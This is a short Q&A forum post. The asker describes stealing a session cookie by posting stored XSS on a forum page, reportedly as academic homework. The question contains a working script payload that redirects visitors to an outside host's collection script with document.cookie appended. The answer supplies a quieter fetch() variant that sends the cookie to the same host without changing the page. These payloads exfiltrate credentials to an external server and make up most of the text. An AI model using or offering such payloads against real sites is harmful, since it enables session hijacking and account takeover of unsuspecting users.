How to steal a cookie using XSS script?

Question

I have an academic homework where I need to steal the session cookie.

Since the application has a forum page, I made a publication with the following code and the cookie is indeed stolen

<script>
window.location='http://www.dei.isep.ipp.pt/~jpl/catch.php?cookie='+document.cookie
</script>

catch.php is a script that stores the stolen information in a file and document.cookie is the parameter passed.

Is there any other way to store the stolen credentials like causing a GET request using an image?

Answer 1

You can use fetch to send a request without changing the window location.

fetch("http://www.dei.isep.ipp.pt/~jpl/catch.php?cookie="+document.cookie);